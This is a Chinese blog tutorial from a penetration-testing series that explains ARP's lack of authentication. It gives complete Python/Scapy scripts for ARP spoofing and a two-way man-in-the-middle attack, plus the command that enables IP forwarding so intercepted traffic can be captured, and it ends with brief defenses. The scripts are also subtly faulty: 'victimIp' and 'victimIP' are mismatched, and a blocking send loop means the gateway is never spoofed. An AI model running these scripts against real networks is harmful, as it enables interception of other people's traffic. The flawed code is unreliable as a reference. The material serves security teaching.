菜鸟渗透日记33---python渗透测试编程之网络欺骗

书接上文

菜鸟渗透日记32---python渗透测试编程之网络嗅探

目录

网络数据的欺骗

Arp的原理和缺陷

完整的ARP欺骗程序

中间人欺骗的原理

完整的中间人欺骗程序

防御措施


网络数据的欺骗

Arp的原理和缺陷

在ARP中,arp的主要使用场景是以太网内的设备交换机不能识别ip地址,只能识别硬件地址,这时候以太网内的设备发往特定硬件的数据包,就需要利用arp进行转换。

这里利用一个arp表进行讲解

菜鸟渗透日记33---python渗透测试编程之网络欺骗_第1张图片

如果本机现在需要和224.0.0.22进行通信,这时候就先查找表项,当找到这一项的时候,他就会给数据包添加硬件地址,然后交给交换机,由它发送给目的地。

但是如果arp表中没有我们要访问的ip地址,这时候就需要使用arp协议。首先主机需要发送一个ARP请求,内容大概是”我的IP地址是,我的MAC地址是,某ip地址的主机在不在,我要和你通信,请告诉我你的物理地址,收到请回答。“这个数据包是用广播形式发送给网段中的所有设备的,不过只有目标主机会给回应。内容好比是”我是IP地址的主机,我的MAC地址是XXX“。解析完成就会把这个表添加到arp表中。但是有一个致命的缺陷,整个过程并没有认证机制,也就是说如果一台主机收到arp请求数据包,并没有对这个数据包进行判别,无论这个数据包是否真的来自目标主机,都会将其添加到ARP表中。

 

主要就是在同一个网段内,更改目标主机的网关,使其所有的流量都走攻击机,详细教程可以查看

arp欺骗原理

现在利用python写一个能够实现ARP欺骗的程序。

这个程序的核心就是需要构造一个如下的数据包

源IP地址:192.168.65.2(网关的IP地址)

源硬件地址:00:50:56:ee:9d:29 

目标IP地址:192.168.65.142

目标的MAC地址:00:0c:29:fd:f6:ce           

这里利用Scapy库完成发包的任务。

构造包结构如下

sendp(Ether(dst=dstMAC,src=srcMAC)/ARP(psrc=gatewayIP,pdst=victimIP))

下面这种写法也是可以的。kaliLinux会自动补齐dst、src的值。

sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))

现在编写一个

完整的ARP欺骗程序

import sys
from scapy.all import *
if len(sys.argv) != 3:
    print sys.argv[0] + ": "
    sys.exit(1)
victimIp = sys.argv[1]
gatewayIP=sys.argv[2]
packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
while 1:
    sendp(packet)
    time.sleep(10)
    print packet.show()

执行结果后,在目标主机的缓存表中查看,缓存表已经发生了改变。

中间人欺骗的原理

如果要执行一个中间人欺骗的话,那么就需要同时对目标主机和网关都进行欺骗。

中间人欺骗的原理就是让目标主机误认为这个是攻击机是网关,同时让网关误认为攻击机才是主机。

根据这样的情况,就需要同时对目标主机和网关发送欺骗数据包。用来欺骗目标主机的数据包如下:

attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)

用来欺骗网关的数据包如下:

attackGateway=Ether()/ARP(psrc=victimIP,pdst=gatewayIP)

考虑到ARP缓存比欧的生命周期,需要不断地对两个主机进行欺骗,这里使用循环发送来实现功能,sendp本身就有循环发送的功能,使用inter指定时间,使用loop=1实现循环发送。

sendp(attackTarget,inter=1,loop=1)

完整的中间人欺骗程序

其完整代码如下

import sys
from scapy.all import *
if len(sys.argv) != 3:
    print sys.argv[0] + ": "
    sys.exit(1)
victimIp = sys.argv[1]
gatewayIP=sys.argv[2]
attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
attackGateway=Ether()/ARP(psrc=victimIP,pdst=gatewayIP)
sendp(attackTarget,inter=1,loop=1)
sendp(attackGateway,inter=1,loop=1)

当然可以进一步使用线程来完成这个任务,这里不在考虑。

那么当完成后,存在一个非常明显的问题,就是被欺骗的机子发送的数据包没有得到回应。所以攻击的最后还需要开启一个转发的功能。开启的方法如下所示

root@lee:~# echo 1 >>/proc/sys/net/ipv4/ip_forward
这样攻击机就可以正常上网,我们这里也就可以抓包了。

防御措施

其防御方法也挺多,最理想的防制方法是网上内的每台计算机的ARP一律改用静态的方式,不过这在大型的网上是不可行的,因为需要经常更新每台计算机的ARP表。

另外一种方法,例如DHCP snooping,网上设备可借由DHCP保留网上上各计算机的MAC地址,在伪造的ARP数据包发出时即可侦测到。此方式已在一些厂牌的网上设备产品所支持。         

你可能感兴趣的:(python渗透测试编程,kali渗透测试,python)